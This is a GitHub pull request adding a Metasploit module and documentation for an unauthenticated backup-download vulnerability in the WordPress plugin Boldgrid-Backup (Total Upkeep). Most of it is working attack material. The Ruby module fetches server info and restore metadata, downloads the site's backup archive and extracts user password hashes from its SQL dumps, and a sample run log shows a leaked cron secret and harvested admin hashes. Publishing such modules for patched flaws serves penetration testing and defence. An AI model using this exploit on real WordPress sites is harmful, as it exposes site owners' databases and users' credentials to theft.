Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wordpress Plugin: 'Boldgrid-Backup' (Total Upkeep) backup download #14568

Merged
merged 2 commits into from
Jan 5, 2021
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
## Vulnerable Application

This module exploits an unauthenticated database backup vulnerability in WordPress plugin
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.

Exploitation happens in a few steps:

1. First, `env-info.php` is read to get server information.
1. Next, `restore-info.json` is read to retrieve the last backup file.
1. That backup is then downloaded, and any sql files will be parsed looking for the `wp_users` `INSERT` statement to grab user creds.

A vulnerable version can be downloaded from here:
[Boldgrid Backup (Total Upkeep)](https://downloads.wordpress.org/plugin/boldgrid-backup.1.14.9.zip)

A free account will need to be registered at Boldgrid's site, and a serial key generated and applied.
Once the key is applied, click "Backup Site Now", or create a backup through other mechanisms in the
interface.

## Verification Steps

1. Install the plugin and create a backup
1. Start msfconsole
1. Do: `use auxiliary/scanner/http/wp_total_upkeep_downloader`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should get an archive backup.

## Options

## Scenarios

### Boldgrid-Backup (Total Upkeep) 1.14.9 on Wordpress 5.4.4 running on Ubuntu 20.04.

```
resource (total_upkeep.rb)> use auxiliary/scanner/http/wp_total_upkeep_downloader
resource (total_upkeep.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (total_upkeep.rb)> run
[+] 1.1.1.1 - Vulnerable version detected
[*] 1.1.1.1 - Obtaining Server Info
[+] 1.1.1.1 -
gateway_interface: CGI/1.1
http_host: 1.1.1.1
php_sapi_name: apache2handler
php_uname: Linux wordpress2004 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00 UTC 2020 x86_64
php_version: 7.4.3
server_addr: 1.1.1.1
server_name: 1.1.1.1
server_protocol: HTTP/1.1
server_software: Apache/2.4.41 (Ubuntu)
uid: 33
username: www-data
[+] 1.1.1.1 - File saved in: /home/h00die/.msf4/loot/20201230163041_default_1.1.1.1_boldgridbackup._165408.txt
[*] 1.1.1.1 - Obtaining Backup List from Cron
200
[+] 1.1.1.1 -
ABSPATH: /var/www/wordpress/
archive_key: 0
cron_secret: ab0d1ce965f799a90bd4f1bd5f3009471eb9e020a15408e3d91256e9cf3e74dd
filepath: /var/www/wordpress/wp-content/boldgrid_backup_L8VjcGzUexMe/boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip
siteurl: http://1.1.1.1
site_title: localhost
restore_cmd: php -d register_argc_argv="1" -qf "/var/www/wordpress/wp-content/plugins/boldgrid-backup/boldgrid-backup-cron.php" mode=restore siteurl=http%3A%2F%2F1.1.1.1 id=ec5c393c secret=ab0d1ce965f799a90bd4f1bd5f3009471eb9e020a15408e3d91256e9cf3e74dd archive_key=0 archive_filename=boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip site_title=localhost
timestamp: 1609362824
[+] 1.1.1.1 - File saved in: /home/h00die/.msf4/loot/20201230163041_default_1.1.1.1_boldgridbackup._983176.txt
[*] 1.1.1.1 attempting download of wp-content/boldgrid_backup_L8VjcGzUexMe/boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip
[+] 1.1.1.1 - Database backup (22372663 bytes) saved in: /home/h00die/.msf4/loot/20201230163042_default_1.1.1.1_boldgridbackup._100789.zip
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test001.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test002.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test005.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test006.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test008.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test009.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test010.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test011.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test012.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wordpress_db.20201230-211322.sql
[+] wp_users
========

user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/

[*] 1.1.1.1 - finished processing backup zip
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > creds
Credentials
===========

host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
1.1.1.1 admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1 Nonreplayable hash phpass
1.1.1.1 editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/ Nonreplayable hash phpass
1.1.1.1 admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 Nonreplayable hash phpass
```
171 changes: 171 additions & 0 deletions modules/auxiliary/scanner/http/wp_total_upkeep_downloader.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
require 'metasploit/framework/hashes/identify'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Total Upkeep Unauthenticated Backup Downloader',
'Description' => %q{
This module exploits an unauthenticated database backup vulnerability in WordPress plugin
'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
First, `env-info.php` is read to get server information. Next, `restore-info.json` is
read to retrieve the last backup file. That backup is then downloaded, and any sql
files will be parsed looking for the wp_users INSERT statement to grab user creds.
},
'References' =>
[
['EDB', '49252'],
['WPVDB', '10502'],
['WPVDB', '10503'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup']
],
'Author' =>
[
'Wadeek', # Vulnerability discovery
'h00die' # Metasploit module
],
'DisclosureDate' => '2020-12-12',
'License' => MSF_LICENSE
)
)
end

def run_host(ip)
unless wordpress_and_online?
fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
end

checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'Boldgrid Backup' was not found"
end
print_good("#{ip} - Vulnerable version detected")

print_status("#{ip} - Obtaining Server Info")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
})

fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.server.info',
'text/json',
ip,
data,
'env-info.json'
)
print_good("#{ip} - File saved in: #{path}")

print_status("#{ip} - Obtaining Backup List from Cron")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200

begin
data = JSON.parse(res.body)
rescue StandardError
fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
end
output = []
data.each do |k, v|
output << " #{k}: #{v}"
end
print_good("#{ip} - \n#{output.join("\n")}")
path = store_loot(
'boldgrid-backup.backup.info',
'text/json',
ip,
data,
'restore-info.json'
)
print_good("#{ip} - File saved in: #{path}")
unless data['filepath']
print_bad("#{ip} - no file found")
end
# pull a url from the local file system path
path = data['filepath'].sub(data['ABSPATH'], '')
print_status("#{ip} attempting download of #{path}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
})
fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
path = store_loot(
'boldgrid-backup.backup.zip',
'application/zip',
ip,
res.body,
path.split('/').last
)
print_good("#{ip} - Database backup (#{res.body.bytesize} bytes) saved in: #{path}")
begin
Zip::File.open(path) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
# Extract to file
next unless entry.name.ends_with?('.sql')

print_status("#{ip} - Attempting to pull creds from #{entry}")
f = entry.get_input_stream.read
f.split("\n").each do |l|
next unless l.include?('INSERT INTO `wp_users` VALUES ')

columns = ['user_login', 'user_pass']
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
l.split('),(').each do |user|
user = user.split(',')
username = user[1].strip
username = username.start_with?("'") ? username.gsub("'", '') : username
hash = user[2].strip
hash = hash.start_with?("'") ? hash.gsub("'", '') : hash
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: identify_hash(hash),
private_data: hash,
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << [username, hash]
end
print_good(table.to_s)
end
end
end
print_status("#{ip} - finished processing backup zip")
end
end
end